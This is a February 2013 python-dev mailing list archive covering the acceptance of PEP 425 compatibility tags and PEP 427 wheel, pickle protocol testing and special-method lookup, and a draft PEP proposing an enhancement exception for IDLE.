Message-ID: <CADiSq7fQaU4rm6uC9uY6A7NqWruerKabnTY3LvF+ONWpwLCQQQ@mail.gmail.com>

On Sat, Feb 16, 2013 at 2:06 PM, Daniel Holth <dholth at gmail.com> wrote:
> This is the improved compatibility tags PEP 425, specifying how part of the
> Wheel PEP 427 filenames work. Last time we discussed whether replacing .
> with _ was ugly but I concluded it was harmless.
>
> Submitted for your consideration,
>
> PEP: 425
> Title: Compatibility Tags for Built Distributions
> Version: $Revision$
> Last-Modified: 07-Aug-2012
> Author: Daniel Holth <dholth at fastmail.fm>
> BDFL-Delegate: Nick Coghlan <ncoghlan at gmail.com>
> Status: Draft
> Type: Standards Track
> Content-Type: text/x-rst
> Created: 27-Jul-2012
> Python-Version: 3.4
> Post-History: 8-Aug-2012, 18-Oct-2012, 15-Feb-2013
>
>
> Abstract
> ========
>
> This PEP specifies a tagging system to indicate with which versions of
> Python a built or binary distribution is compatible.  A set of three
> tags indicate which Python implementation and language version, ABI,
> and platform a built distribution requires.  The tags are terse because
> they will be included in filenames.
>
>
> PEP Editor's Note
> =================
>
> While the naming scheme described in this PEP will not be supported directly
> in the standard library until Python 3.4 at the earliest, draft
> implementations may be made available in third party projects.
>
>
> Rationale
> =========
>
> Today "python setup.py bdist" generates the same filename on PyPy
> and CPython, but an incompatible archive, making it inconvenient to
> share built distributions in the same folder or index.  Instead, built
> distributions should have a file naming convention that includes enough
> information to decide whether or not a particular archive is compatible
> with a particular implementation.
>
> Previous efforts come from a time where CPython was the only important
> implementation and the ABI was the same as the Python language release.
> This specification improves upon the older schemes by including the Python
> implementation, language version, ABI, and platform as a set of tags.
>
> By comparing the tags it supports with the tags listed by the
> distribution, an installer can make an educated decision about whether
> to download a particular built distribution without having to read its
> full metadata.
>
> Overview
> ========
>
> The tag format is {python tag}-{abi tag}-{platform tag}
>
> python tag
>     ?py27?, ?cp33?
> abi tag
>     ?cp32dmu?, ?none?
> platform tag
>     ?linux_x86_64?, ?any?
>
> For example, the tag py27-none-any indicates compatible with Python 2.7
> (any Python 2.7 implementation) with no abi requirement, on any platform.
>
> Use
> ===
>
> The `wheel` built package format includes these tags in its filenames,
> of the form ``{distribution}-{version}(-{build tag})?-{python tag}-{abi
> tag}-{platform tag}.whl``.  Other package formats may have their own
> conventions.
>
> Details
> =======
>
> Python Tag
> ----------
>
> The Python tag indicates the implementation and version required by
> a distribution.  Major implementations have abbreviated codes, initially:
>
> * py: Generic Python (does not require implementation-specific features)
> * cp: CPython
> * ip: IronPython
> * pp: PyPy
> * jy: Jython
>
> Other Python implementations should use `sys.implementation.name`.
>
> The version is `py_version_nodot`.  CPython gets away with no dot,
> but if one is needed the underscore `_` is used instead.  PyPy should
> probably use its own versions here `pp18`, `pp19`.
>
> The version can be just the major version `2` or `3` `py2`, `py3` for
> many pure-Python distributions.
>
> Importantly, major-version-only tags like `py2` and `py3` are not
> shorthand for `py20` and `py30`.  Instead, these tags mean the packager
> intentionally released a cross-version-compatible distribution.
>
> A single-source Python 2/3 compatible distribution can use the compound
> tag `py2.py3`.  See `Compressed Tag Sets`, below.
>
> ABI Tag
> -------
>
> The ABI tag indicates which Python ABI is required by any included
> extension modules.  For implementation-specific ABIs, the implementation
> is abbreviated in the same way as the Python Tag, e.g. `cp33d` would be
> the CPython 3.3 ABI with debugging.
>
> The CPython stable ABI is `abi3` as in the shared library suffix.
>
> Implementations with a very unstable ABI may use the first 6 bytes (as
> 8 base64-encoded characters) of the SHA-256 hash of ther source code
> revision and compiler flags, etc, but will probably not have a great need
> to distribute binary distributions. Each implementation's community may
> decide how to best use the ABI tag.
>
> Platform Tag
> ------------
>
> The platform tag is simply `distutils.util.get_platform()` with all
> hyphens `-` and periods `.` replaced with underscore `_`.
>
> * win32
> * linux_i386
> * linux_x86_64
>
> Use
> ===
>
> The tags are used by installers to decide which built distribution
> (if any) to download from a list of potential built distributions.
> The installer maintains a list of (pyver, abi, arch) tuples that it
> will support.  If the built distribution's tag is `in` the list, then
> it can be installed.

I suggest adjusting the specific compatibility tags in the example,
and making it clear that is also a *recommended* default order.

================
It is recommended that installers, by default, try to give users
access to the most feature complete built distribution available, by
favouring those versions more specific to the installation
environment, and then those marked as explicitly cross-version
compatible, before falling back to pure Python versions published for
older Python releases. It is also recommended that installers allow
users to configure the list of acceptable compatibility tags,
including their relative precedence.

For example, an installer running under CPython 3.3 on a linux_x86_64
system might support::

  cp33-cp33m-linux_x86_64
  cp33-abi3-linux_x86_64
  cp3-abi3-linux_x86_64  <--- Added
  cp33-none-linux_x86_64*
  cp3-none-linux_x86_64*  <--- Added
  py33-none-linux_x86_64*  <--- Added
  py3-none-linux_x86_64*  <--- Added
  cp33-none-any
  cp3-none-any
  py33-none-any
  py3-none-any
  py32-none-any
  py31-none-any
  py30-none-any

*Built distributions may be platform specific for reasons other than C
extensions, such as using "sudo" to invoke a subprocess with elevated
privileges.
================

> Can I have a tag `py32+` to indicate a minimum Python minor release?
>     No.  Inspect the Trove classifiers to determine this level of
>     cross-release compatibility.  Similar to the announcements "beaglevote
>     versions 3.2 and above no longer supports Python 1.52", you will
>     have to manually keep track of the maximum (PEP-386) release that
>     still supports your version of Python.
>

The answer to this question needs to be updated given that installers
may fall back to trying earlier pure Python (or stable ABI) versions.
(That is, installers are free to offer builds like py32-none-any and
cp32-abi3-linux_x86_64 as possible solutions for a Python 3.3 install
if there's nothing more recent)

Additionally, I suggest including FAQ entries covering your answers to
a couple of other questions that were raised in the last PEP 425
thread (I went back and looked at that thread to check the major
points had been addressed for this version and a couple were missing):

=================
Why normalise hyphens and other non-alphanumeric characters to underscores?
    To avoid conflicting with the "." and "-" characters that separate
components of the filename, and for better compatibility with the
widest range of filesystem limitations for filenames (including being
usable in URL paths without quoting).

Why not use special character <X> rather than "." or "-"?
    Either because that character is inconvenient or potentially
confusing in some contexts (for example, "+" must be quoted in URLs,
"~" is used to denote the user's home directory in POSIX), or because
the advantages weren't sufficiently compelling to justify changing the
existing reference implementation for the wheel format defined in PEP
427 (for example, using "," rather than "." to separate components in
a compressed tag)
=================

The compatibility tag spec itself looks fine to me, so with the above
clarifications, I will accept the PEP.

Cheers,
Nick.

-- 
Nick Coghlan   |   ncoghlan at gmail.com   |   Brisbane, Australia

From solipsis at pitrou.net  Sat Feb 16 11:12:49 2013
From: solipsis at pitrou.net (Antoine Pitrou)
Date: Sat, 16 Feb 2013 11:12:49 +0100
Subject: [Python-Dev] PEP 427: wheel
References: <CAG8k2+6v5Gqh=Fe10whzcjpitUwDSDC8frcxb12bbRG1ssbLLQ@mail.gmail.com>
	<CADiSq7eP5J0+xVDw91C5XOEKbDOcuLsGcSkVsLYbZKJ5rKNZhg@mail.gmail.com>
Message-ID: <20130216111249.5b608364@pitrou.net>

On Sat, 16 Feb 2013 19:18:22 +1000
Nick Coghlan <ncoghlan at gmail.com> wrote:
> On Sat, Feb 16, 2013 at 2:21 PM, Daniel Holth <dholth at gmail.com> wrote:
> > #. Python scripts must appear in ``scripts`` and begin with exactly
> >    ``b'#!python'`` in order to enjoy script wrapper generation and
> >    ``#!python`` rewriting at install time.  They may have any or no
> >    extension.
> 
> For compatibility with file encoding declarations, I believe this
> needs to be relaxed to starting with '#!python' in the source file
> encoding, rather than strictly b'#!python' (which will only be the
> case for ASCII compatible encodings).

I may be wrong, but I am not aware that Python is able to read encoding
declarations in a non-ASCII compatible encoding :-)

Also, given the shebang line is for use by the OS, the appropriate
encoding should be decided by the OS, not Python conventions. But I
would surprised if a shebang-compatible used a non-ASCII encoding by
default.

Regards

Antoine.



From solipsis at pitrou.net  Sat Feb 16 11:19:19 2013
From: solipsis at pitrou.net (Antoine Pitrou)
Date: Sat, 16 Feb 2013 11:19:19 +0100
Subject: [Python-Dev] PEP 427: wheel
References: <CAG8k2+6v5Gqh=Fe10whzcjpitUwDSDC8frcxb12bbRG1ssbLLQ@mail.gmail.com>
	<CADiSq7eP5J0+xVDw91C5XOEKbDOcuLsGcSkVsLYbZKJ5rKNZhg@mail.gmail.com>
	<20130216111249.5b608364@pitrou.net>
Message-ID: <20130216111919.77a7633f@pitrou.net>

On Sat, 16 Feb 2013 11:12:49 +0100
Antoine Pitrou <solipsis at pitrou.net> wrote:

> On Sat, 16 Feb 2013 19:18:22 +1000
> Nick Coghlan <ncoghlan at gmail.com> wrote:
> > On Sat, Feb 16, 2013 at 2:21 PM, Daniel Holth <dholth at gmail.com> wrote:
> > > #. Python scripts must appear in ``scripts`` and begin with exactly
> > >    ``b'#!python'`` in order to enjoy script wrapper generation and
> > >    ``#!python`` rewriting at install time.  They may have any or no
> > >    extension.
> > 
> > For compatibility with file encoding declarations, I believe this
> > needs to be relaxed to starting with '#!python' in the source file
> > encoding, rather than strictly b'#!python' (which will only be the
> > case for ASCII compatible encodings).
> 
> I may be wrong, but I am not aware that Python is able to read encoding
> declarations in a non-ASCII compatible encoding :-)
> 
> Also, given the shebang line is for use by the OS, the appropriate
> encoding should be decided by the OS, not Python conventions. But I
> would surprised if a shebang-compatible used a non-ASCII encoding by
> default.

I mean non-ASCII compatible.

Regards

Antoine.



From ncoghlan at gmail.com  Sat Feb 16 12:09:06 2013
From: ncoghlan at gmail.com (Nick Coghlan)
Date: Sat, 16 Feb 2013 21:09:06 +1000
Subject: [Python-Dev] PEP 427: wheel
In-Reply-To: <20130216111249.5b608364@pitrou.net>
References: <CAG8k2+6v5Gqh=Fe10whzcjpitUwDSDC8frcxb12bbRG1ssbLLQ@mail.gmail.com>
	<CADiSq7eP5J0+xVDw91C5XOEKbDOcuLsGcSkVsLYbZKJ5rKNZhg@mail.gmail.com>
	<20130216111249.5b608364@pitrou.net>
Message-ID: <CADiSq7d6Wt+AKJaKdfgqNb1J7RHVdORTtTK0BGe3GL0Hq55rZw@mail.gmail.com>

On Sat, Feb 16, 2013 at 8:12 PM, Antoine Pitrou <solipsis at pitrou.net> wrote:
> On Sat, 16 Feb 2013 19:18:22 +1000
> Nick Coghlan <ncoghlan at gmail.com> wrote:
> I may be wrong, but I am not aware that Python is able to read encoding
> declarations in a non-ASCII compatible encoding :-)
>
> Also, given the shebang line is for use by the OS, the appropriate
> encoding should be decided by the OS, not Python conventions. But I
> would surprised if a shebang-compatible used a non-ASCII encoding by
> default.

Oh, good point - which means the only comments are cosmetic ones,
which I can fix while marking it accepted.

Cheers,
Nick.

-- 
Nick Coghlan   |   ncoghlan at gmail.com   |   Brisbane, Australia

From stephen at xemacs.org  Sat Feb 16 12:14:39 2013
From: stephen at xemacs.org (Stephen J. Turnbull)
Date: Sat, 16 Feb 2013 20:14:39 +0900
Subject: [Python-Dev] PEP 427: wheel
In-Reply-To: <CADiSq7eP5J0+xVDw91C5XOEKbDOcuLsGcSkVsLYbZKJ5rKNZhg@mail.gmail.com>
References: <CAG8k2+6v5Gqh=Fe10whzcjpitUwDSDC8frcxb12bbRG1ssbLLQ@mail.gmail.com>
	<CADiSq7eP5J0+xVDw91C5XOEKbDOcuLsGcSkVsLYbZKJ5rKNZhg@mail.gmail.com>
Message-ID: <87sj4wwlwg.fsf@uwakimon.sk.tsukuba.ac.jp>

Nick Coghlan writes:

 > For compatibility with file encoding declarations, I believe this
 > needs to be relaxed to starting with '#!python' in the source file
 > encoding, rather than strictly b'#!python' (which will only be the
 > case for ASCII compatible encodings).

In any PEP-263-compatible encoding it will be b'#!python'.

Relaxing this is excessive generality for a new feature.  I'm not sure
what you mean by file encoding declarations if not PEP 263, which
requires approximate[1] ASCII compatibility.  PEP 3120 simply builds
on PEP 263 by making UTF-8, rather than ISO 8859/1, the default
encoding.

 > My rationale is that installers are going to need to read the source
 > file encoding for the scripts anyway, otherwise they may write the
 > shebang line back out with the wrong encoding, potentially leading to
 > decoding errors when attempting to run the script.

Too bad if there's no PEP 263 declaration and the file is not in ASCII.
I.e., the intersection of Python 2 and Python 3 default encodings.


Footnotes: 
[1]  Ie, Shift JIS and Big 5, or any encoding in which a pure ASCII
string can be interpreted as a string in that encoding, are OK, but
UTF-16 is not.


From ncoghlan at gmail.com  Sat Feb 16 12:17:30 2013
From: ncoghlan at gmail.com (Nick Coghlan)
Date: Sat, 16 Feb 2013 21:17:30 +1000
Subject: [Python-Dev] PEP 427: wheel
In-Reply-To: <CAG8k2+6v5Gqh=Fe10whzcjpitUwDSDC8frcxb12bbRG1ssbLLQ@mail.gmail.com>
References: <CAG8k2+6v5Gqh=Fe10whzcjpitUwDSDC8frcxb12bbRG1ssbLLQ@mail.gmail.com>
Message-ID: <CADiSq7fNujN=OXF083CrdbCm3KdXZBSdM1XXGSNzp16gVu6Ccg@mail.gmail.com>

Since Antoine and Stephen have pointed out my only non-cosmetic
concern was an error on my part, I am accepting the PEP. I'll update
the peps repo (including the cosmetic fixes) in a moment.

Regards,
Nick.

-- 
Nick Coghlan   |   ncoghlan at gmail.com   |   Brisbane, Australia

From ncoghlan at gmail.com  Sat Feb 16 12:27:28 2013
From: ncoghlan at gmail.com (Nick Coghlan)
Date: Sat, 16 Feb 2013 21:27:28 +1000
Subject: [Python-Dev] PEP 427: wheel
In-Reply-To: <CADiSq7fNujN=OXF083CrdbCm3KdXZBSdM1XXGSNzp16gVu6Ccg@mail.gmail.com>
References: <CAG8k2+6v5Gqh=Fe10whzcjpitUwDSDC8frcxb12bbRG1ssbLLQ@mail.gmail.com>
	<CADiSq7fNujN=OXF083CrdbCm3KdXZBSdM1XXGSNzp16gVu6Ccg@mail.gmail.com>
Message-ID: <CADiSq7f5gB8dsB=aTuz7KkYsjYa1w8V_Qqt3Rx479D-XcMsZUQ@mail.gmail.com>

On Sat, Feb 16, 2013 at 9:17 PM, Nick Coghlan <ncoghlan at gmail.com> wrote:
> Since Antoine and Stephen have pointed out my only non-cosmetic
> concern was an error on my part, I am accepting the PEP. I'll update
> the peps repo (including the cosmetic fixes) in a moment.

And done: http://hg.python.org/peps/rev/d272d7a97e0c

Thank you to Daniel for his hard work on getting this through to completion.

Cheers,
Nick.

-- 
Nick Coghlan   |   ncoghlan at gmail.com   |   Brisbane, Australia

From stefan at bytereef.org  Sat Feb 16 14:12:25 2013
From: stefan at bytereef.org (Stefan Krah)
Date: Sat, 16 Feb 2013 14:12:25 +0100
Subject: [Python-Dev] Proposing "Argument Clinic",
 a new way of specifying arguments to builtins for CPython
In-Reply-To: <kfm2cb$6nn$1@ger.gmane.org>
References: <50BD27CF.1070303@hastings.org> <k9l594$fbr$1@ger.gmane.org>
	<kfm2cb$6nn$1@ger.gmane.org>
Message-ID: <20130216131225.GB9107@sleipnir.bytereef.org>

Stefan Behnel <stefan_ml at behnel.de> wrote:
> > you'd just pass in this string:
> > 
> >    (arg1 : int, arg2 : float, arg3 : ExtType, *, arg4=None) -> ExtType2

I've mentioned this proposal in http://bugs.python.org/issue16612 , but
it wasn't sufficient for the task.


Stefan Krah




From stefan_ml at behnel.de  Sat Feb 16 15:17:25 2013
From: stefan_ml at behnel.de (Stefan Behnel)
Date: Sat, 16 Feb 2013 15:17:25 +0100
Subject: [Python-Dev] Point of building without threads?
In-Reply-To: <1357637305.2857.54.camel@newpride>
References: <20120507214943.579045c2@pitrou.net>
	<1357637305.2857.54.camel@newpride>
Message-ID: <kfo4di$het$1@ger.gmane.org>

Yury V. Zaytsev, 08.01.2013 10:28:
> Moreover, these days there is a clear trend towards OpenMP, so it has
> become even harder to pressure the manufacturers to fix threads, because
> they have 101 argument why you should port your code to OpenMP instead.

I can't see OpenMP being an *alternative* to threads. You can happily
acquire and release the GIL from OpenMP threads, for example.

Stefan



From solipsis at pitrou.net  Sat Feb 16 16:39:19 2013
From: solipsis at pitrou.net (Antoine Pitrou)
Date: Sat, 16 Feb 2013 16:39:19 +0100
Subject: [Python-Dev] PEP 427: wheel
References: <CAG8k2+6v5Gqh=Fe10whzcjpitUwDSDC8frcxb12bbRG1ssbLLQ@mail.gmail.com>
	<CADiSq7fNujN=OXF083CrdbCm3KdXZBSdM1XXGSNzp16gVu6Ccg@mail.gmail.com>
	<CADiSq7f5gB8dsB=aTuz7KkYsjYa1w8V_Qqt3Rx479D-XcMsZUQ@mail.gmail.com>
Message-ID: <20130216163919.63956dd1@pitrou.net>

On Sat, 16 Feb 2013 21:27:28 +1000
Nick Coghlan <ncoghlan at gmail.com> wrote:

> On Sat, Feb 16, 2013 at 9:17 PM, Nick Coghlan <ncoghlan at gmail.com> wrote:
> > Since Antoine and Stephen have pointed out my only non-cosmetic
> > concern was an error on my part, I am accepting the PEP. I'll update
> > the peps repo (including the cosmetic fixes) in a moment.
> 
> And done: http://hg.python.org/peps/rev/d272d7a97e0c
> 
> Thank you to Daniel for his hard work on getting this through to completion.

Great! Here's hope for an improved Python 3.4 distutils experience:-)

Regards

Antoine.



From solipsis at pitrou.net  Sun Feb 17 00:45:39 2013
From: solipsis at pitrou.net (Antoine Pitrou)
Date: Sun, 17 Feb 2013 00:45:39 +0100
Subject: [Python-Dev] cpython: Issue #15022: Add pickle and comparison
 support to types.SimpleNamespace.
References: <3Z7nv62fn4zRYG@mail.python.org>
Message-ID: <20130217004539.0e55a3c9@pitrou.net>


Hello,

On Sun, 17 Feb 2013 00:42:26 +0100 (CET)
eric.snow <python-checkins at python.org> wrote:
>  
> +    def test_pickle(self):
> +        ns = types.SimpleNamespace(breakfast="spam", lunch="spam")
> +
> +        ns_pickled = pickle.dumps(ns)
> +        ns_roundtrip = pickle.loads(ns_pickled)
> +
> +        self.assertEqual(ns, ns_roundtrip)
> +

I think you should test with all pickle protocols.

Regards

Antoine.



From ericsnowcurrently at gmail.com  Sun Feb 17 01:02:34 2013
From: ericsnowcurrently at gmail.com (Eric Snow)
Date: Sat, 16 Feb 2013 17:02:34 -0700
Subject: [Python-Dev] cpython: Issue #15022: Add pickle and comparison
 support to types.SimpleNamespace.
In-Reply-To: <20130217004539.0e55a3c9@pitrou.net>
References: <3Z7nv62fn4zRYG@mail.python.org>
	<20130217004539.0e55a3c9@pitrou.net>
Message-ID: <CALFfu7B2wD4-VfvxoD-vWSHGTL1WL64M-JwHN31E-O2D0fymhw@mail.gmail.com>

On Sat, Feb 16, 2013 at 4:45 PM, Antoine Pitrou <solipsis at pitrou.net> wrote:
> I think you should test with all pickle protocols.

I'll do that.

-eric

From rovitotv at gmail.com  Sun Feb 17 01:45:12 2013
From: rovitotv at gmail.com (Todd Rovito)
Date: Sat, 16 Feb 2013 19:45:12 -0500
Subject: [Python-Dev] Cut/Copy/Paste items in IDLE right click context
	menu
In-Reply-To: <CADiSq7fYXqXO+QWG6eJdxkiCtJLQDdWVJk6e11pv2PssyNBkUA@mail.gmail.com>
References: <CAL3CFcX6d1OJeit9iBBzGTTvo0-gvOWKB=wLTDmPNFZ4FOjqkQ@mail.gmail.com>
	<CADiSq7dX3NbOvMuMnYFrMMwOPRn+Sf_rmsUO0L9LnovhTQkyyw@mail.gmail.com>
	<k70vuu$qi7$1@ger.gmane.org>
	<CADiSq7eEN3nSxbrouZ5VgyQC7cKwgTjCM78jQz26NxKjU7ipoA@mail.gmail.com>
	<50948B1F.1030000@udel.edu>
	<CADiSq7fYXqXO+QWG6eJdxkiCtJLQDdWVJk6e11pv2PssyNBkUA@mail.gmail.com>
Message-ID: <CALZ1apxdrUDQP228uH4b5RfQ6PaTeak57CyMCYLnqYGqw9rajQ@mail.gmail.com>

On Sat, Nov 3, 2012 at 5:28 AM, Nick Coghlan <ncoghlan at gmail.com> wrote:
> On Sat, Nov 3, 2012 at 1:10 PM, Terry Reedy <tjreedy at udel.edu> wrote:
>> [snip reasons]
>> OK, I am convinced an info PEP would be a good idea.
>
> Unless anyone objects, I'm happy to be BDFL-delegate for such a PEP. I
> mainly want to ensure we clearly fence off "IDLE-the-application",
> with (in effect) a 6 month release cycle synchronised across versions,
> from the rest of the standard library.
I have not seen much progress on this issue so I thought I would
attempt to draft a PEP.  This is my first PEP so go easy on me.

Attached is a PEP titled "IDLE Enhancement Exception for All
Branches", I am looking for feedback.  Thanks.
-------------- next part --------------
PEP: XXX
Title: IDLE Enhancement Exception for All Branches
Version: 
Last-Modified: 
Author: Todd Rovito <rovitotv at gmail.com>
BDFL-Delegate: Nick Coghlan
Status: Draft
Type: Informational
Content-Type: text/x-rst
Created: 16-Feb-2013
Python-Version: 2.7
Post-History: 16-Feb-2013

Abstract
========

Generally only new features are applied to Python 3.4 but this PEP requests an
exception for IDLE [1]_.  IDLE is part of the standard library and has numerous
outstanding issues [2]_.  Since IDLE is often the first thing a new Python user
sees it desperately needs to be brought up to date with modern GUI standards
across the three major platforms Linux, Mac OS X, and Windows.  

Rationale
=========

Python does have many advanced features yet Python is well known for being a
easy computer language for beginners [3]_.  A major Python philosophy is
"batteries included" which is best demonstrated in Python's standard library
with many modules that are not typically included with other programming
languages [4]_.  IDLE is a important "battery" in the Python toolbox because it
allows a beginner to get started quickly without downloading and configuring a
third party IDE. Additional patches to IDLE cannot break any existing
program/library because IDLE is used by humans. 

Details
=======

Python 2.7 does not accept bug fixes, this rule can be ignored for IDLE if the
Python development team accepts this PEP [5]_.  IDLE issues will be carefully
tested on the three major platforms Linux, Mac OS X, and Windows before any
commits are made..  

References
==========

.. [1] IDLE: Right Click Context Menu, Foord, Michael
   (http://bugs.python.org/issue1207589)

.. [2] Meta-issue for "Invent with Python" IDLE feedback
   (http://bugs.python.org/issue13504)

.. [3] Getting Started with Python
   (http://www.python.org/about/gettingstarted/)

.. [4] Batteries Included 
   (http://docs.python.org/2/tutorial/stdlib.html#batteries-included)

.. [5] Python 2.7 Release Schedule
   (http://www.python.org/dev/peps/pep-0373/)

Copyright
=========

This document has been placed in the public domain.



..
   Local Variables:
   mode: indented-text
   indent-tabs-mode: nil
   sentence-end-double-space: t
   fill-column: 70
   coding: utf-8
   End:

From ericsnowcurrently at gmail.com  Sun Feb 17 02:20:14 2013
From: ericsnowcurrently at gmail.com (Eric Snow)
Date: Sat, 16 Feb 2013 18:20:14 -0700
Subject: [Python-Dev] cpython: Issue #15022: Add pickle and comparison
 support to types.SimpleNamespace.
In-Reply-To: <CALFfu7B2wD4-VfvxoD-vWSHGTL1WL64M-JwHN31E-O2D0fymhw@mail.gmail.com>
References: <3Z7nv62fn4zRYG@mail.python.org>
	<20130217004539.0e55a3c9@pitrou.net>
	<CALFfu7B2wD4-VfvxoD-vWSHGTL1WL64M-JwHN31E-O2D0fymhw@mail.gmail.com>
Message-ID: <CALFfu7AbfS2BThWbeY5Ftb9sjKHTeLabksW1iuXgG=nKrs7GRw@mail.gmail.com>

On Sat, Feb 16, 2013 at 5:02 PM, Eric Snow <ericsnowcurrently at gmail.com> wrote:
> On Sat, Feb 16, 2013 at 4:45 PM, Antoine Pitrou <solipsis at pitrou.net> wrote:
>> I think you should test with all pickle protocols.
>
> I'll do that.

Out of curiousity, how critical is it to support protocols 0 and 1?
I've made sure SimpleNamespace does, but it made me wonder what the
use case is for the older protocols.

-eric

From ncoghlan at gmail.com  Sun Feb 17 03:42:04 2013
From: ncoghlan at gmail.com (Nick Coghlan)
Date: Sun, 17 Feb 2013 12:42:04 +1000
Subject: [Python-Dev] Cut/Copy/Paste items in IDLE right click context
	menu
In-Reply-To: <CALZ1apxdrUDQP228uH4b5RfQ6PaTeak57CyMCYLnqYGqw9rajQ@mail.gmail.com>
References: <CAL3CFcX6d1OJeit9iBBzGTTvo0-gvOWKB=wLTDmPNFZ4FOjqkQ@mail.gmail.com>
	<CADiSq7dX3NbOvMuMnYFrMMwOPRn+Sf_rmsUO0L9LnovhTQkyyw@mail.gmail.com>
	<k70vuu$qi7$1@ger.gmane.org>
	<CADiSq7eEN3nSxbrouZ5VgyQC7cKwgTjCM78jQz26NxKjU7ipoA@mail.gmail.com>
	<50948B1F.1030000@udel.edu>
	<CADiSq7fYXqXO+QWG6eJdxkiCtJLQDdWVJk6e11pv2PssyNBkUA@mail.gmail.com>
	<CALZ1apxdrUDQP228uH4b5RfQ6PaTeak57CyMCYLnqYGqw9rajQ@mail.gmail.com>
Message-ID: <CADiSq7cR8weEeEocAZd9cwbg6wodPhnnLHOrNYr1DBrdZv-dyA@mail.gmail.com>

On Sun, Feb 17, 2013 at 10:45 AM, Todd Rovito <rovitotv at gmail.com> wrote:
> On Sat, Nov 3, 2012 at 5:28 AM, Nick Coghlan <ncoghlan at gmail.com> wrote:
>> On Sat, Nov 3, 2012 at 1:10 PM, Terry Reedy <tjreedy at udel.edu> wrote:
>>> [snip reasons]
>>> OK, I am convinced an info PEP would be a good idea.
>>
>> Unless anyone objects, I'm happy to be BDFL-delegate for such a PEP. I
>> mainly want to ensure we clearly fence off "IDLE-the-application",
>> with (in effect) a 6 month release cycle synchronised across versions,
>> from the rest of the standard library.
> I have not seen much progress on this issue so I thought I would
> attempt to draft a PEP.  This is my first PEP so go easy on me.
>
> Attached is a PEP titled "IDLE Enhancement Exception for All
> Branches", I am looking for feedback.  Thanks.

That's a good start - please forward it to the PEP editors list
(peps at python.org) to be posted.

The rationale needs to be fleshed out a bit more along the lines of
"IDLE is primarily used as an application that ships with Python,
rather than as a library module used to build Python applications,
that's why it is OK for a different standard to apply". Mentioning the
point about Linux distros splitting it out into a separate package
would also be useful.

NY other two major comments:
- be specific about which parts of the code base are covered by the exception
- no need for extensive cross-OS testing prior to commit, that's a key
part of the role of the buildbots

Regards,
Nick.

-- 
Nick Coghlan   |   ncoghlan at gmail.com   |   Brisbane, Australia

From nyamatongwe at me.com  Sun Feb 17 04:00:24 2013
From: nyamatongwe at me.com (Neil Hodgson)
Date: Sun, 17 Feb 2013 14:00:24 +1100
Subject: [Python-Dev] Cut/Copy/Paste items in IDLE right click
	context	menu
In-Reply-To: <CADiSq7cR8weEeEocAZd9cwbg6wodPhnnLHOrNYr1DBrdZv-dyA@mail.gmail.com>
References: <CAL3CFcX6d1OJeit9iBBzGTTvo0-gvOWKB=wLTDmPNFZ4FOjqkQ@mail.gmail.com>
	<CADiSq7dX3NbOvMuMnYFrMMwOPRn+Sf_rmsUO0L9LnovhTQkyyw@mail.gmail.com>
	<k70vuu$qi7$1@ger.gmane.org>
	<CADiSq7eEN3nSxbrouZ5VgyQC7cKwgTjCM78jQz26NxKjU7ipoA@mail.gmail.com>
	<50948B1F.1030000@udel.edu>
	<CADiSq7fYXqXO+QWG6eJdxkiCtJLQDdWVJk6e11pv2PssyNBkUA@mail.gmail.com>
	<CALZ1apxdrUDQP228uH4b5RfQ6PaTeak57CyMCYLnqYGqw9rajQ@mail.gmail.com>
	<CADiSq7cR8weEeEocAZd9cwbg6wodPhnnLHOrNYr1DBrdZv-dyA@mail.gmail.com>
Message-ID: <FD1D5822-4F05-4F7D-B72A-4C8CE9D75E9B@me.com>

Nick Coghlan:

> - no need for extensive cross-OS testing prior to commit, that's a key
> part of the role of the buildbots

   Are the buildbots able to test UI features like menu selections?

   Neil


From ericsnowcurrently at gmail.com  Sun Feb 17 04:36:16 2013
From: ericsnowcurrently at gmail.com (Eric Snow)
Date: Sat, 16 Feb 2013 20:36:16 -0700
Subject: [Python-Dev] in a pickle: method lookup irregularities
Message-ID: <CALFfu7Dm_H-qyxuF+8zVkZFnMjaXq_KKhQRf6KjaAJ2nU6vTKQ@mail.gmail.com>

(See http://bugs.python.org/issue16251)

The pickle module looks up special methods on instances rather than
using the behavior described in the language reference (or even just
looking them up on the class).  This means that custom
__getattribute__() and __getattr__() implementations may get triggered
(e.g. if there is no __reduce__() implemented).

Bringing pickle in sync with the language reference would not involve
a big change, but it would impact anyone that relies on the current
behavior.  Most notably, proxy types could exist which leverage the
current semantics.

I look at this as trading one "bug" for another in a .  So I want to
get some general feedback on the situation and see what others
consider to be the trade-offs of fixing or not fixing this bug.  I'm
particularly interested in existing cases where code uses the current
behavior.  With that in hand we could assess what alternatives exist
in those cases or how we could better document workarounds for the
current behavior.

-eric

From ncoghlan at gmail.com  Sun Feb 17 05:42:18 2013
From: ncoghlan at gmail.com (Nick Coghlan)
Date: Sun, 17 Feb 2013 14:42:18 +1000
Subject: [Python-Dev] in a pickle: method lookup irregularities
In-Reply-To: <CALFfu7Dm_H-qyxuF+8zVkZFnMjaXq_KKhQRf6KjaAJ2nU6vTKQ@mail.gmail.com>
References: <CALFfu7Dm_H-qyxuF+8zVkZFnMjaXq_KKhQRf6KjaAJ2nU6vTKQ@mail.gmail.com>
Message-ID: <CADiSq7cJXUGwQh76qCr6n+16n7tyXCqkJpCj4cZdfsLsW_sfAA@mail.gmail.com>

On Sun, Feb 17, 2013 at 1:36 PM, Eric Snow <ericsnowcurrently at gmail.com> wrote:
> (See http://bugs.python.org/issue16251)
>
> The pickle module looks up special methods on instances rather than
> using the behavior described in the language reference (or even just
> looking them up on the class).  This means that custom
> __getattribute__() and __getattr__() implementations may get triggered
> (e.g. if there is no __reduce__() implemented).
>
> Bringing pickle in sync with the language reference would not involve
> a big change, but it would impact anyone that relies on the current
> behavior.  Most notably, proxy types could exist which leverage the
> current semantics.
>
> I look at this as trading one "bug" for another in a .  So I want to
> get some general feedback on the situation and see what others
> consider to be the trade-offs of fixing or not fixing this bug.  I'm
> particularly interested in existing cases where code uses the current
> behavior.  With that in hand we could assess what alternatives exist
> in those cases or how we could better document workarounds for the
> current behavior.

I vaguely recall some discussions about this and other similar cases
of metaclass confusion (perhaps related to the copy module).

One possible approach is to look specifically for cases where
type(obj) != obj.__class__ and handle them differently.

The general trend has been towards more consistently ignoring instance
attributes when looking up special methods, but you're right that this
can be a backwards compatibility minefield.

Cheers,
Nick.

-- 
Nick Coghlan   |   ncoghlan at gmail.com   |   Brisbane, Australia

From ncoghlan at gmail.com  Sun Feb 17 05:52:27 2013
From: ncoghlan at gmail.com (Nick Coghlan)
Date: Sun, 17 Feb 2013 14:52:27 +1000
Subject: [Python-Dev] Submitting PEP 425 (compatibility tags)
